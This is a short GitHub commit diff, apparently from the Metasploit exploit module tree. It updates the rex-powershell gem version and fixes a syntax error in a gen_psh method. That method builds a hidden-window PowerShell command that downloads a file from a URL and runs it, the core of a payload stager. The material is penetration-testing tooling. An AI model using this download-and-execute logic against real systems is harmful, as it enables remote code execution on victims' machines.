File tree Expand file tree Collapse file tree 2 files changed +4
-7
lines changed
modules/exploits/multi/script Expand file tree Collapse file tree 2 files changed +4
-7
lines changed Original file line number Diff line number Diff line change 49
49
rex-mime
50
50
rex-nop
51
51
rex-ole
52
- rex-powershell (< 0.1.73 )
52
+ rex-powershell (< 0.1.78 )
53
53
rex-random_identifier
54
54
rex-registry
55
55
rex-rop_builder
278
278
rex-arch
279
279
rex-ole (0.1.6 )
280
280
rex-text
281
- rex-powershell (0.1.72 )
281
+ rex-powershell (0.1.77 )
282
282
rex-random_identifier
283
283
rex-text
284
284
rex-random_identifier (0.1.4 )
Original file line number Diff line number Diff line change @@ -163,16 +163,13 @@ def gen_psh(url, *method)
163
163
file = %Q(echo (#{ path } +'\\ #{ filename } '))
164
164
165
165
# Generate download PowerShell command
166
- download_string = Rex ::Powershell ::PshMethods . download_run ( url , file } )
166
+ download_string = Rex ::Powershell ::PshMethods . download_run ( url , file )
167
167
end
168
168
169
169
download_and_run = "#{ ignore_cert } #{ download_string } "
170
170
171
171
# Generate main PowerShell command
172
- return generate_psh_command_line ( noprofile : true ,
173
- windowstyle : 'hidden' ,
174
- command : download_and_run
175
- )
172
+ return generate_psh_command_line ( noprofile : true , windowstyle : 'hidden' , command : download_and_run )
176
173
end
177
174
178
175
You can’t perform that action at this time.
0 commit comments